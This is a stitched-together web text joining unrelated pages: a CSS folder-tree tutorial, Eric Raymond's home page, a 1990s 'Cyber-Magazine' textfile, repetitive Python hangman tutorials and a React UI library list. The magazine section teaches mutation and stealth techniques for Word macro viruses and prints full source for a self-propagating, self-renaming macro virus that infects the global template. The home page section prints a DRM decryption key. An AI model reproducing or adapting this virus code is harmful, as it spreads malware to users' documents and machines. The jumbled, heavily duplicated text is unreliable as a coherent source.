However doing :checked with a single adjacent sibling combinator works fine in post 2008 WebKit browsers. So using this information I went about and built a working demo that has good browser support.

View live demo Download the source files

The demo is built using an ordered list (ol) nested with further ordered lists to naturally represent a basic folder structure.

File 1
Subfolder 1
1. File 2
2. File 2
3. File 2

As you can see, in order to get around the general combinator issue in WebKit based browsers I have switched the label to come first then the input so the “folders” could be expanded/collapsed by checking/unchecking the checkbox.

li input {
position: absolute;
left: 0;
margin-left: 0;
opacity: 0;
z-index: 2;
cursor: pointer;
height: 1em;
width: 1em;
top: 0;
}
li label {
background: url(folder-horizontal.png) 15px 1px no-repeat;
cursor: pointer;
display: block;
padding-left: 37px;
}

To sit the input and label in the right visual order I absolutely positioned the input and applied a left padding to the label to push it out. That way changing the styles of the child ol, when the input is checked, can be done using the adjacent sibling combinator. I’ve also set the cursor to pointer when hovered over the input or label to visual show they’re clickable.

li input + ol {
background: url(toggle-small-expand.png) 40px 0 no-repeat;
margin: -0.938em 0 0 -44px; /* 15px */
display: block;
height: 1em;
}

Unlike my custom radio and checkbox article where I added the background image on the label, this time I had to do some trickery and apply it to the direct sibling ol of an input. Applying a sprite image to the ol wouldn’t be possible in this situation due to it being applied to the ol which would make it difficult to effectively hide other images within the sprite image.

To position the ol correctly I use a negative margin to pull it into the right location so it will sit next to the label and underneath the invisible checkbox.

li input + ol > li {
display: none;
margin-left: -14px !important;
padding-left: 1px;
}

To hide the sub folders so they don’t appear when the parent folder is collapsed I target the child list items and set them to, ~~a zero height and hide any overflow~~Andy pointed out that I could just use display: none over height, this also stops the keyboard navigation from tabbing into non expanded items as they’re now hidden.

li label {
background: url(folder.png) 15px 1px no-repeat;
}
li.file a {
background: url(document.png) 0 -1px no-repeat;
color: #fff;
padding-left: 21px;
text-decoration: none;
display: block;
}

To differentiate between folders and files I applied a background image to either the label or to an anchor within a list item for files.

li {
position: relative;
margin-left: -15px;
list-style: none;
}
li.file {
margin-left: -1px !important;
}

To pull out the folder list items I apply a larger negative margin so the folder will line up with any of the file icons, and for file based list items I reset the left margin so they sit flush.

Change icon based on file extension

With some CSS3 attribute selectors we can determine an anchor links file format and change the icon accordingly.

li.file a[href $= '.pdf'] { background-position: -16px -1px; }
li.file a[href $= '.html'] { background-position: -32px -1px; }
li.file a[href $= '.css'] { background-position: -48px -1px; }
li.file a[href $= '.js'] { background-position: -64px -1px; }

Using the $= CSS attribute selector allows us to check the end of an attribute exactly ends in .pdf, .html etc.

If for some reason you attribute doesn’t end with your file extension, your anchor may have a query string on the end. We can still match file types.

li.file a[href *= '.pdf'] { background-position: -16px -1px; }
li.file a[href *= '.html'] { background-position: -32px -1px; }

The *= will match a substring that contains .pdf or .html anywhere within the attribute and if a href has a query string we can still match our file extension without issue. This does have the slight disadvantage that it will match it anywhere e.g. if you have a file called file.html.pdf it will match both file types and the one with the higher CSS specificity will be applied or incase of the example above their CSS specificity is the same so the html background will be applied.

Checkbox attributes

In the demo by default the first folder is open, this is done by adding the checked attribute to the checkbox which will trigger our styles thanks to the checked pseudo-class and reveal its sub files and folders.

We can also add the disabled attribute to the checkbox to stop a user from opening a folder as the input can neither be checked or unchecked.

Lastly using a combination of both disabled and checked will allow us to reveal the sub files and folders but not allow the user to close the top level folder.

Browser support

Based on testing this will work in any CSS3 selector supporting browser. The following have been tested and known to work

Firefox 1+
Opera 9.6+
Safari 4+
iPhone/iPod Safari
Chrome 1+
Android
IE9+

This could very well work in IE8 but would require some JavaScript to get IE8 to interpret the checked pseudo-class, which I won’t be going into.

Right now I use conditional comments to hide the stylesheet from all versions of IE and another conditional comment to load the stylesheet for IE9 and greater.

<link rel="stylesheet" type="text/css" href="_styles.css" media="screen">

Highly scalable

This technique will cater for a large amount of sub folders and files. It’s governed by your screen real estate and even then it’ll apply scroll bars to the document when the tree structure gets too long or wide.

Any questions/comments/suggestions leave a comment.

[link href=”http://cssn.in/ja/026″]

Post navigation

Previous Previous post: How Gmail’s drag and drop works and why it’s not supported in Safari

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Ackee/docs at master · electerious/Ackee

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https://github.com/electerious/Ackee/tree/master/docs

Comment:

Eric S. Raymond's Home Page

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If you're with the press, or want me to give a talk, here are answers to the usual questions. You can see a list of my upcoming speaking engagements.

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It's all about freedom...

You can fetch my GPG public key here. I support widespread use of strong cryptography for privacy, and encourage you to use GPG encryption with this key when sending me messages. If your mailer makes this difficult, consider switching to Mutt.

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Also, here is the decryption key used for most HD-DVD movies:

09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0

I have never used this, either, I'm publishing it here because the MPAA is attempting to suppress public knowledge of it.

Finally, the HDCP master key. These magic bits defeat the HDCP scrambling that attempt to prevent you from viewing high-definition video on the hardware of your choice. (No, I've never used this either.)

I will not tolerate having general-purpose computing hardware, which should be an instrument of liberation and creativity, reduced to a locked-down delivery pipe for "content". By trying to cripple my tools, the big-media machine has made me its enemy. DRM delenda est!

...and it's all about me.

You can read all about my projects, past present and future, including the software and FAQs and Web resources I maintain.

I do consulting under the Thyrsus Enterprises service mark. You can surf to my resume from here, if you're interested in my career or qualifications. I'm not in the market for a job just now, though, unless you can offer a project that really fascinates me.

You can read personal stuff about my life and politics and hobbies and friends. You may also find my writings of interest.

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web.textfiles.com/virus/cybermag.txt

Cyber-Magazine Issue 1

This magazine is dedicated to exploration of other techniques available for Microsoft Word Macro Virus propagation.

First:

It is possible to propagate macros other than with the standard MacroCopy command. It is possible to use the ToolsMacro. Edit command to create a new macro and then insert text into it directly. The text can be copied out of the creating macro using LineUp, LineDown, CharLeft, and CharRight commands with the X, 1 flag set to select the desired text. Follow this with an EditCopy command and the EditPaste in the "blank" macro and you have created a macro without using the MacroCopy command.

This functionality allows you to store all of your macros in one single macro while in "transit" (an infected document) and to "extract" the macros upon delivery to the target (NORMAL.DOT to be infected), including your stealth macros (unless, of course, your stealth macros ARE the infection vector).

(see example virus)

Second:

More Mutation: Using the above technique as a starting point, it is possible to create better mutation than just mutating macro names. It is in fact possible to create mutating variable names and mutating Sub/Function names.

To do so, it is imperative that your code knows exactly where and long the variable/routine-name to be mutated is (at least one sample of it). If you know that one location in a macro will never change, you can use that. Then, you can read in the fixed length name with the GetText$(X,X) command. Now, run your random name generator (making certain to generate a name that is THE SAME LENGTH). Finally, use the EditReplace command to swap out all of the old names for the new names. (see example virus)

You could also keep a separate "dummy" macro or routine that just stores a list of your ever mutating variable names so that you could have mutating lengths as well. That way, you could just read in the first line in the list as your current variable, mutate it, then do your global replace, then move on to the next in your list.

i.e.:

sub dummy
LKJIIEKDG < ---- first variable
LKJS
LKJSOALKJBIEWDLA
POIEWM
SIEFQZCVWT
YJFHBWPVU < -----last variable
end sub

Third:

Even More Mutation: Using a combination of the above techniques, it is possible to create mutating code segments. That is, segments of code that change locations within the body of the code.

Consider if you will: You could create a macro with several subroutines of exactly the same length. Then when it was time to mutate (say at the next document infection), just use your knowledge that your have three subroutines of exactly the same length, starting at line X below the calling routine, and jumble them around.

i.e.

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentA
do some stuff
end sub

sub segmentB
do some other stuff
end sub

sub segmentC
do strange stuff
end sub

could become:

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentB
do some other stuff
end sub

sub segmentC
do strange stuff
end sub

sub segmentA
do some stuff
end sub

or it could become:

sub Main
segmentA
segmentB
segmentC
end sub

sub segmentB
do some other stuff
end sub

sub segmentA
do some stuff
end sub

sub segmentC
do strange stuff
end sub

Or it could become ANY permutation in the set! Plus, the more subroutines you have to "jumble," the better the mutation becomes!

Fourth:

The future? Only you can determine what's in the future. Be creative!

-CyberPhantom

Example Virus: (Infected Document Code)

Sub MAIN
On Error Resume Next
ToolsMacro .Name = "autoopen", .Show = 1, .Delete
ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
ToolsMacro .Name = "XXXXX", .Show = 1, .Delete
AppMinimize
ToolsMacro .Name = "autoopen", .Edit, .Show = 3
StartOfDocument
EndOfDocument 1
EditCopy
DocClose
ToolsMacro .Name = "XXXXX", .Show = 1, .Edit
StartOfDocument
EndOfDocument 1
EditPaste
DocClose 1
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 35
LineDown 9, 1
EditCopy
DocClose
ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
mutat
Payld
stlth
AppRestore
End Sub

Sub FlSvA
Dim _fldg As FileSaveAs
GetCurValues _fldg
Dialog _fldg
If _fldg.Format = 0 Then _fldg.Format = 1
FlNm$ = FileName$()
FlMcr$ = FlNm$ + ":AutoOpen"
MacroCopy "Global:XXXXX", FlMcr$
FileSaveAs _fldg
End Sub

Function Rndnm$
For count = 1 To 5
rndnx = Int(Rnd() * (90 - 65) + 65)
rndnx$ = rndnx$ + Chr$(rndnx)
Next count
Rndnm$ = rndnx$
End Function

Sub Payld
Rndnm = Int(Rnd() * (51 - 1) + 1)
If Rndnm = 50 Then MsgBox "Greetings to: CyberDragon, CyberMonk, CyberBard, CyberSage, CyberTeck, CyberHawk, CyberBeef, CyberLich, CyberKnight. From: CyberPhantom"
End Sub

Sub mutat
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
dnatx$ = GetText$(606, 611)'mutat
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(648, 653)'FlSvA
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(658, 663)'_fldg
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(612, 617)'Payld
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(869, 874)'Rndnm
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(880, 885)'count
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
dnatx$ = GetText$(1299, 1304)'dnatx
EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
DocClose 1
End Sub

Sub stlth
ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 123
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "ToolsMacro", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1

ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
StartOfDocument
LineDown 127
LineDown 2, 1
EditCopy
DocClose
ToolsMacro .Name = "FileTemplates", .Edit, .Show = 1
StartOfDocument
LineDown 1
EndOfDocument 1
EditPaste
DocClose 1
End Sub

Sub TlsMc
'No Macro
End Sub

Sub FlTpt
'No Macro
End Sub

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      Hangman Game in Python - GeeksforGeeks                                        set Restriction

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Hangman Game in Python

Hangman Wiki:
The origins of Hangman are obscure meaning not discovered, but it seems to have arisen in Victorian times, ” says Tony Augarde, author of The Oxford Guide to Word Games. The game is mentioned in Alice Bertha Gomme’s “Traditional Games” in 1894 under the name “Birds, Beasts and Fishes.” The rules are simple; a player writes down the first and last letters of a word and another player guesses the letters in between. In other sources, [where?] the game is called “Gallows”, “The Game of Hangin”, or “Hanger”.

Implementation

This is a simple Hangman game using Python programming language. Beginners can use this as a small project to boost their programming skills and understanding logic.

The Hangman program randomly selects a secret word from a list of secret words. The random module will provide this ability, so line 1 in program imports it.
The Game: Here, a random word (a fruit name) is picked up from our collection and the player gets limited chances to win the game.
When a letter in that word is guessed correctly, that letter position in the word is made visible. In this way, all letters of the word are to be guessed before all the chances are over.
For convenience, we have given length of word + 2 chances. For example, word to be guessed is mango, then user gets 5 + 2 = 7 chances, as mango is a five letter word.

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# Python Program to illustrate

# Hangman Game

import random

from collections import Counter

someWords = '''apple banana mango strawberry

orange grape pineapple apricot lemon coconut watermelon

cherry papaya berry peach lychee muskmelon'''

someWords = someWords.split(``' '``)

# randomly choose a secret word from our "someWords" LIST.

word = random.choice(someWords)

if __name__ =``= '__main__'``:

print``(``'Guess the word! HINT: word is a name of a fruit'``)

for i in word:

# For printing the empty spaces for letters of the word

print``(``'_'``, end = ' '``)

print``()

playing = True

# list for storing the letters guessed by the player

letterGuessed = ''

chances = len``(word) + 2

correct = 0

flag = 0

try``:

while (chances !``= 0``) and flag =``= 0``: #flag is updated when the word is correctly guessed

print``()

chances -``= 1

try``:

guess = str``(``input``(``'Enter a letter to guess: '``))

except``:

print``(``'Enter only a letter!'``)

continue

# Validation of the guess

if not guess.isalpha():

print``(``'Enter only a LETTER'``)

continue

elif len``(guess) > 1``:

print``(``'Enter only a SINGLE letter'``)

continue

elif guess in letterGuessed:

print``(``'You have already guessed that letter'``)

continue

# If letter is guessed correctly

if guess in word:

k = word.count(guess) #k stores the number of times the guessed letter occurs in the word

for _ in range``(k):

letterGuessed +``= guess # The guess letter is added as many times as it occurs

# Print the word

for char in word:

if char in letterGuessed and (Counter(letterGuessed) !``= Counter(word)):

print``(char, end = ' '``)

correct +``= 1

# If user has guessed all the letters

elif (Counter(letterGuessed) =``= Counter(word)): # Once the correct word is guessed fully,

# the game ends, even if chances remain

print``(``"The word is: "``, end``=``' '``)

print``(word)

flag = 1

print``(``'Congratulations, You won!'``)

break # To break out of the for loop

break # To break out of the while loop

else``:

print``(``'_'``, end = ' '``)

# If user has used all of his chances

if chances <``= 0 and (Counter(letterGuessed) !``= Counter(word)):

print``()

print``(``'You lost! Try again..'``)

print``(``'The word was {}'``.``format``(word))

except KeyboardInterrupt:

print``()

print``(``'Bye! Try again.'``)

exit()

|

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Note: Please run the program on your terminal.

omkarpathak@omkarpathak-Inspiron-3542:~/Documents/
Python-Programs$ python P37_HangmanGame.py
Guess the word! HINT: word is a name of a fruit
_ _ _ _ _

Enter a letter to guess: m
_ _ m _ _
Enter a letter to guess: o
_ _ m o _
Enter a letter to guess: l
l _ m o _
Enter a letter to guess: e
l e m o _
Enter a letter to guess: n
l e m o n
Congratulations, You won!

Try it yourself Exercises:

You can further enhance program by adding timer after every Guess
You can also give hints from the beginning to make the task a bit easier for user
You can also decrease the chance by one only if player’s guess is WRONG. If the guess is right,
player’s chance is not reduced

This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.

My Personal Notes arrow_drop_up

Save

Create Hangman game in python with random popular English word

By Purnendu Das

Hi, today we are going to learn a very interesting and popular game in the Python programming language. Name of the game is Hangman game. I think at a time almost everyone played this game.

What is a Hangman game – Word Guessing Game

Hangman game is a very popular game. We can guess the game from the game name, something is related to a man who is hanging.

This game is based on your guessing power. Any random English word will be selected. Maybe month name, animal name, etc but no slang language or any bad language, any sort form is not allowed in this game. The empty slots( ‘_ _ _ _’ ) will be given to you. You need to fill up the given empty places with the help of your guessing skill. If any correct letter you guess then the letter will be placed in the correct position on the empty slot. Then you can guess the word easily. The main twist in this game is you have limited chances of guessing the correct letters. For every wrong guess, the man will slowly be going to hang. When you reach the limit the man will completely hang and you will lose the game. If you guess all the correct letters of the word the man will not be hanged and you will win the game.

So let’s start creating hangman game in Python.

hangman game in Python

In this image, we can easily remember the game.

Create a Hangman Game in Python

This game is actually a word guessing game. So who are not familiar with the game name ( Hangman) now they can easily understand.

Here an example of the game:

Your Wrong Guesses left : 8
_ _ _ _ _ _ Please enter a letter : t

Your Wrong Guesses left : 8
T _ _ _ _ _ Please enter a letter : a

Wrong ! Try again

Your Wrong Guesses left : 7
T _ _ _ _ _ Please enter a letter : b

Wrong ! Try again

Your Wrong Guesses left : 6
T _ _ _ _ _ Please enter a letter : c

Wrong ! Try again

Your Wrong Guesses left : 5
T _ _ _ _ _ Please enter a letter : d

Wrong ! Try again

Your Wrong Guesses left : 4
T _ _ _ _ _ Please enter a letter : e

Wrong ! Try again

Your Wrong Guesses left : 3
T _ _ _ _ _ Please enter a letter : f

Wrong ! Try again

Your Wrong Guesses left : 2
T _ _ _ _ _ Please enter a letter : e

Wrong ! Try again

Your Wrong Guesses left : 1
T _ _ _ _ _ Please enter a letter : q

Wrong ! Try again

Your Maximum Wrong Guesses Is Exceed !
You Lose !

Word is : THOUGH

Let’s see the code:

Requirements:

A good word list
Find it**:** https://github.com/first20hours/google-10000-english/blob/master/google-10000-english-no-swears.txt
You can directly download it from here: google-10000-english-usa-no-swears.txt
Random Python library

Step by step code to create this Python game

Here we have created a list and added the words from the text file one by one so that we can generate a random word later from this list of words.

You may check this tutorial: How to add items to a list from a text file in Python

import random

my_words =[]#created an empty list
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

import random
my_words =[]#created an empty list
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

import random

my_words =[]#created an empty list
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

Explanation:

At first, we have imported the random library.
We have created an empty list (my_words ).
We used python file handling part for reading the text file.
Took the words which have more than 2 characters.

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

Explanation:

Here we have created a ‘pick’ function for taking a random word from the ‘my_words’ list.
This function will return the random word.

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

Explanation:

Here we have created another function named ‘initial’.
This function will return the empty slots with ‘_’ character according to the selected random word length.

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

Explanation:

This function ‘usr_inp’, the main task is to print the current empty slots. And take the user input letter and pass the user input to another function to check.

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

Explanation:

Actually, this ‘match’ function is the main algorithm of the whole game.
This function will check if the user input is present in the selected random word. if found then place the letter into the empty slot.
Then return the empty slot with values.

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:
if(var>=max_limit): # Checking the wrong chances reach the max limit
print('')
print('Your Maximum Wrong Guesses Is Exceed !')
print('You Lose !')
print('')
print('Word is : ',word)
break
print("Your Wrong Guesses left :",(max_limit-var))
ans = usr_inp(get,word)
if(ans == get):
print('')
var+=1
print('Wrong ! Try again')
print('')
else:
get = ans
print('')
if(ans.count('')== 0): # Checking if any '' left or not
print('')
print('Yahoo ! You Win')
print('')
print('The Word Is : ',ans)
break

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

Explanation:

This function ‘play’ is the main game function. Here is the main control of the game is present. For every wrong input guessing value will increase and the remaining chance will be decreased.
We checked if the ‘var’ reached with the maximum limit then you will Lose the game.
And we check here if no empty ‘_’ symbol is present in the string then you will Win the game.

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

Explanation:

This is the game starting part.
Here we have selected any random word. Then we get the empty slot. Then we proceed to play the game.

An example:

Your Wrong Guesses left : 8
_ _ _ _ _ _ _ Please Enter a Letter : p

Your Wrong Guesses left : 8
P _ _ _ _ _ _ Please Enter a Letter : o

Your Wrong Guesses left : 8
P O _ _ _ _ _ Please Enter a Letter : r

Your Wrong Guesses left : 8
P O R _ _ _ _ Please Enter a Letter : s

Your Wrong Guesses left : 8
P O R S _ _ _ Please Enter a Letter : c

Your Wrong Guesses left : 8
P O R S C _ _ Please Enter a Letter : h

Your Wrong Guesses left : 8
P O R S C H _ Please Enter a Letter : e

Yahoo ! You Win

The Word Is : PORSCHE

Whole code:

Text file link: https://github.com/first20hours/google-10000-english/blob/master/google-10000-english-no-swears.txt

The final code to create guess the word game in Python

import random

my_words =[]
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

import random
my_words =[]
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()
def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)
def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)
def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)
def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)
def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:
if(var>=max_limit): # Checking the wrong chances reach the max limit
print('')
print('Your Maximum Wrong Guesses Is Exceed !')
print('You Lose !')
print('')
print('Word is : ',word)
break
print("Your Wrong Guesses left :",(max_limit-var))
ans = usr_inp(get,word)
if(ans == get):
print('')
var+=1
print('Wrong ! Try again')
print('')
else:
get = ans
print('')
if(ans.count('')== 0): # Checking if any '' left or not
print('')
print('Yahoo ! You Win')
print('')
print('The Word Is : ',ans)
break
word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

import random

my_words =[]
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

Best UI libraries and frameworks for ReactJS

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Best UI libraries and frameworks for ReactJS

Since React has been introduced dozens of UI libraries and frameworks started to come out one by one and it's continuing. All of these tools, boilerplates and UI components are here to save your time and help you focus on building apps.

With these tools, you no longer need to worry about designing elements and components and trying to keep them consistent at the same time, which is a time-consuming process, even if you have a designing background.

In this list, I try to share the best UI libraries and frameworks based on my personal experience and opinion.

Material UI

There are several material design UI frameworks for React, but this is my favorite one because of the implementation of components which looks better than similar frameworks.

Version 1 is still in beta and has much more stuff but it's inconsistent and API changes a lot. However, I still recommend you to try the latest version, as we did in The Devs.

Well implemented Material design
Suitable for every website
create-react-app and Next.js examples
v1 beta is a lot better, but API changes a lot
JSS makes it a little harder and time-consuming to start with
Customizable theme with JSS

Material UI

Blueprint

Blueprint has a clean design similar to bootstrap, but better. It has its own design system which helps you to use components in their correct form and place.

Lots of components with great designs
